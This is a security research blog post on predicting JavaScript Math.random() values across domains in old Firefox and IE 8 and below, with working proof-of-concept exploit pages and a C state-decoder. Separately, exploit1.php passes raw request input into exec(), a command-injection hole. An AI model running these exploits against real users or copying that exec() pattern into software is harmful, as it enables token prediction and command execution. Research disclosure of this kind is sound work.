Cross-domain Math.random() prediction

I recently descovered an interesting security issue in a web application that could be potentially exploited if an attacker could guess the values generated by JavaScript's Math.random() function running in a window in the web app's domain. So, I was wondering could the values returned by the Math.random() in one window in one domain be predicted from another window in another domain. Surprisingly, the answer is "yes". At least if you use Firefox or Internet explorer 8 and below. The technique that does this is called Cross-domain Math.random() prediction.

The JavaScript Math.random() weaknesses in different browser are nothing new. Amit Klein wrote extensively abot them [1, 2, 3]. However, while he does mention Cross-domain Math.random() prediction in his paper [1], the focus of his writing is more on using these weaknesses to track user across multiple websites. That's why in this post I'm going to show more details about this particular technique (Cross-domain Math.random() prediction) and also show the current state of the web browsers regarding the Math.random() predictability. In this post, I'll write about the attack in general and in a subsequent post, I'll show an example vulnerable application (once it gets patched).

In general, to use the attack, the following conditions must be met:

1. A web page in some domain uses Math.random() to generate a number.
2. An attacker can somehow gain from knowing this number.
3. An attacker can choose when this number will be generated (for example, by opening a window with a vulnerable application).

Take for example a web page that generates a random number which is then used to identify a user when talking to the web application server.

Now, let's see what makes the attack possible.

The pseudo-random number generator (PRNG) implementations in Internet Explorer up to IE 9 and Firefox are relatively simple and are described in detail in [1] and [3], respectively. The main points to keep in mind are:

1. Both implementations are based on seeding the 48-bit PRNG state based on the current time (in milliseconds) and the state is updated as (state*a+b)%(2^48), where a and b are constant numbers.

2. In Firefox, PRNG seeding is actually done based on the value obtained by xoring the current time in milliseconds with another number which is obtained by xoring two pointers. However, I have observed that these pointers are usually very similar so the result of the xor operation between them is usually a very small number (<1000). This means that, for practical purposes, we may consider that PRNG state in Firefox is seeded based on the current time in milliseconds +/- 1000.

3. In Firefox, each page will have its own PRNG while in IE 8 and below each tab will have its own PRNG and the PRNG will *not* be reseeded if the page in the tab changes, even though the new page might be in another domain.

This opens two possible algorithms for cross-domain Math.random() prediction, where one will work on IE only, and the other will work on both IE and Firefox. The attacks are described below. The code that demonstrates both attacks can be found in the "Example code" section below.

First attack (IE 8 and below only)

This version of the attack exploits the fact that IE does not reseed the PRNG for every page in the same tab. It works as follows:

1. The attacker gets a user to visit his page
2. The attacker's page generates a random number and uses it to compute the current state of the PRNG
3. The state of the PRNG is sent to the attacker. It can be used to predict the result of any subsequent Math.random() call made in the same browsing tab.
4. The attacker's page redirects the victim to the vulnerable application

Second attack (IE8 and below, Firefox)

This version of the attack is based on guessing the seed value of the PRNG and works as follows:

1. The attacker gets a user to visit his page
2. The page makes a note of the current time, t, and opens a new window with the vulnerable application.
3. Based on t, a guess is made for the PRNG seed value in the new window. If the guess is correct, the attacker can predict the result of Math.random() calls in the new window.

Note that this attack relies on guessing the seed value. Since seeding is done based on the current time in milliseconds, this means that, if we can make multiple guesses, we have a pretty good chance of guessing correctly. For example, if we can predict PRNG seeding time up to a second, we have about 1/1000 chance of guessing correctly in IE and somewhat smaller chance (but usually in the same order of magnitude) for guessing correctly in Firefox. If we can make several hundreds of guesses, this is a pretty good chance, especially considerning that the PRNG state in IE and Firefox has 48 bits.

Other browsers

Internet Explorer 9 is not vulnerable to this type of attack because
 - Each page has its own PRNG and
 - PRNG seeding is based on the high-precision counter and additional entropy sources [2].

Google Chrome on Windows also isn't vulnerable to this type of attack because
 - Each page has its own PRNG and
 - PRNG seeding is based on the rand_s function which is cryptographically secure [4, 5].

Example code

"rand.html". This page just generates the random number and displays it. The goal of the two "exploit" pages below is to guess it.

<html>
<head>
  <script>
    document.write("I generated: " + Math.random());
  </script>
</head>
<body>
</body>
</html>

"exploit1.php". This page uses the first attack (IE only) to predict Math.random() value in another domain, but in the same tab. It uses "decodestate.exe" to decode the current state of the PRNG.

<?php 
if (isset($_REQUEST['r']))
{
  $state = exec("decodestate.exe ".$_REQUEST['r']);

?>

<html>
<head>
<script>
  //target page, possibly in another domain
  var targetURL = "http://127.0.0.1/rand.html"
  
  var a_hi = 0x5DE;
  var a_lo = 0xECE66D;
  var b = 0x0B;
  var state_lo = 0;
  var state_hi = 0;
  var max_half = 0x1000000;

  //advances the state of the (previously initialized) PRNG
  function advanceState() {
    var tmp_lo,tmp_hi,carry;
    tmp_lo = state_lo*a_lo + b;
    tmp_hi = state_lo*a_hi + state_hi*a_lo;
    if(tmp_lo>=max_half) {
      carry = Math.floor(tmp_lo/max_half);
      tmp_hi = tmp_hi + carry;
      tmp_lo = tmp_lo % max_half;
    }
    tmp_hi = tmp_hi % max_half;
    state_lo = tmp_lo;
    state_hi = tmp_hi;
  }

  //gets the next random() result according to the predicted PRNG state
  function PredictRand() {
    var first,second;
    var num, res;
    
    advanceState();
    first = (state_hi * 8) + Math.floor(state_lo/0x200000);
    advanceState();
    second = (state_hi * 8) + Math.floor(state_lo/0x200000);
    num = first * 0x8000000 + second;
    
    res = num/Math.pow(2,54);
  
    return res;
  }

  function start() {
    var state = <?php echo($state); ?>;
    state_hi = Math.floor(state/max_half);
    state_lo = state%max_half;
    
    alert("I predicted : " + PredictRand());
    
    window.location = targetURL;
  }
  
</script>
</head>
<body onload="start()">
</body> 
</html>

<?php } else { ?>

<html>
<head>
<script> 
  function start() 
  { 
    document.forms[0].r.value=Math.random();
    document.forms[0].submit();
  }
</script>  
</head>
<body onload="start()"> 
<form method="POST" onSubmit="f()"> 
<input type="hidden" name="r"> 
</form> 
</body> 
</html>

<?php } ?>

The code for "decodestate.exe". Much of it is shamelessly copied from [1].

#include <stdlib.h> 
#include <stdio.h> 

#define UINT64(x) (x##I64)
typedef unsigned __int64 uint64; 
typedef unsigned int uint32; 

#define a UINT64(0x5DEECE66D)
#define b UINT64(0xB)

uint64 adv(uint64 x)
{ 
  return (a*x+b) & ((UINT64(1)<<48)-1);
} 

int main(int argc, char* argv[])
{ 
  double sample=atof(argv[1]);
  uint64 sample_int=sample*((double)(UINT64(1)<<54));
  uint32 x1=sample_int>>27;
  uint32 x2=sample_int & ((1<<27)-1);

  for (int v=0;v<(1<<21);v++)
  {
    uint64 state=adv((((uint64)x1)<<21)|v);
    uint32 out=state>>(48-27);
    if ((sample_int & (UINT64(1)<<53)) && (out & 1))
    {
      // Turn off least significant bit (which we know is 1). 
      out--;
      // Perform Round to Nearest (even number, but keep in mind that
      // we don't count the least significant bit)
      if (out & 2)
      {
        out+=2;
      }
    }
    if (out==x2) {
      printf("%lld\n",state);
      return 0;
    }
  }
  // Not found
  printf("-1\n");
  return 0;
}

"exploit2.html". This page uses the second attack (both IE and Firefox) to predict Math.random() value in another domain in another window. Multiple predictions are made of which one is usually correct (depending on the time it takes a browser to open a new window and additional entropy in Firefox).

<html>
  <head>
    <script>
      //target page, possibly in another domain
      var targetURL = "http://127.0.0.1/rand.html"
      
      //in order to avoid precision issues
      //we split each 48-bit number
      //into two 24-bit halves (_lo & _hi)
      var a_hi = 0x5DE;
      var a_lo = 0xECE66D;
      var b = 0x0B;
      var state_lo = 0;
      var state_hi = 0;
      var max_half = 0x1000000;
      var max_32 = 0x100000000;
      var max_16 = 0x10000;
      var max_8 = 0x100;
  
      //advances the state of the (previously initialized) PRNG
      function advanceState() {
        var tmp_lo,tmp_hi,carry;
        tmp_lo = state_lo*a_lo + b;
        tmp_hi = state_lo*a_hi + state_hi*a_lo;
        if(tmp_lo>=max_half) {
          carry = Math.floor(tmp_lo/max_half);
          tmp_hi = tmp_hi + carry;
          tmp_lo = tmp_lo % max_half;
        }
        tmp_hi = tmp_hi % max_half;
        state_lo = tmp_lo;
        state_hi = tmp_hi;
      }
  
      function InitRandPredictor(seedTime) {}
  
      //inits PRNG
      function InitRandPredictorFF(seedTime) {
        var seed_lo,seed_hi;
        seed_hi = Math.floor(seedTime/max_half);
        seed_lo = seedTime%max_half;
        state_lo = seed_lo ^ a_lo;
        state_hi = seed_hi ^ a_hi;
      } 
  
      //inits PRNG
      function InitRandPredictorIE(seedTime) {
        var pos=[17,19,21,23,25,27,29,31,1,3,5,7,9,11,13,15,16,18,20,22,24,26,28,30,0,2,4,6,8,10,12,14];
        var timeh,timel1,timel2,statel,stateh1,stateh2,tmp1,tmp2;
        timeh = Math.floor(seedTime/max_32);
        timel1 = Math.floor((seedTime%max_32)/max_16);
        timel2 = seedTime%max_16;
        statel = timeh ^ timel2;
        tmp1 = timel1 ^ 0xDEEC;
        tmp2 = timel2 ^ 0xE66D;
        stateh1 = 0;
        stateh2 = 0;
        for(var i=0;i<16;i++) {
          if(pos[i]<16) {
            stateh2 = stateh2 | (((tmp2>>i)&1)<<pos[i]);
          } else {
            stateh1 = stateh1 | (((tmp2>>i)&1)<<(pos[i]-16));
          }
        }
        for(var i=16;i<32;i++) {
          if(pos[i]<16) {
            stateh2 = stateh2 | (((tmp1>>(i-16))&1)<<pos[i]);
          } else {
            stateh1 = stateh1 | (((tmp1>>(i-16))&1)<<(pos[i]-16));
          }
        }
        state_hi = (stateh1<<8) + Math.floor(stateh2/max_8);
        state_lo = ((stateh2%max_8)<<16) + statel;
      } 

      function PredictRand() { return(-1); }

      //gets the next random() result according to the predicted PRNG state
      function PredictRandFF() {
        var first,second;
        var num, res;
    
        advanceState();
        first = (state_hi * 4) + Math.floor(state_lo/0x400000);
        advanceState();
        second = (state_hi * 8) + Math.floor(state_lo/0x200000);
        num = first * 0x8000000 + second;
    
        res = num/Math.pow(2,53);
    
        return res;
      }      
  
      //gets the next random() result according to the predicted PRNG state
      function PredictRandIE() {
        var first,second;
        var num, res;
    
        advanceState();
        first = (state_hi * 8) + Math.floor(state_lo/0x200000);
        advanceState();
        second = (state_hi * 8) + Math.floor(state_lo/0x200000);
        num = first * 0x8000000 + second;
    
        res = num/Math.pow(2,54);
      
        return res;
      }      
      
      function start() {
        var msfrom,msto;
        
        //simple browser detection
        if(navigator.userAgent.indexOf("MSIE 8.0")>=0) {
          InitRandPredictor = InitRandPredictorIE;
          PredictRand = PredictRandIE;
          msfrom = 0;
          msto = 1000;
        } else if(navigator.userAgent.indexOf("Firefox")>=0) {
          InitRandPredictor = InitRandPredictorFF;
          PredictRand = PredictRandFF;
          //greater range for FF to deal with extra entropy
          msfrom = -1000;
          msto = 2000;
        } else {
          alert("Sorry, your browser is not supported");
          return;
        }
        
        var d = new Date();
        var t = d.getTime();
        
        var w = window.open(targetURL);
        
        var predictions = "At time " + t.toString() + " I predicted: <br />";
        for(var i=msfrom;i<msto;i++) {
          InitRandPredictor(t+i);
          //InitRandPredictor(1338400821077);
          predictions += PredictRand() + "<br />";
        }
        
        document.getElementById("prediction").innerHTML = predictions;    
      }
      
    </script>
  </head>
    <button onclick="start()">Click Me!</button>
    <br/>
    <div id="prediction">
  </body>
</html>

References

[1] http://www.trusteer.com/sites/default/files/Temporary_User_Tracking_in_Major_Browsers.pdf
[2] http://www.trusteer.com/sites/default/files/VM_Detection_and_Temporary_User_Tracking_in_IE9_Platform_Preview.pdf
[3] http://www.trusteer.com/sites/default/files/Cross_domain_Math_Random_leakage_in_FF_3.6.4-3.6.8.pdf
[4] http://msdn.microsoft.com/en-us/library/sxtz2fa8(v=vs.80).aspx
[5] http://en.wikipedia.org/wiki/CryptGenRandom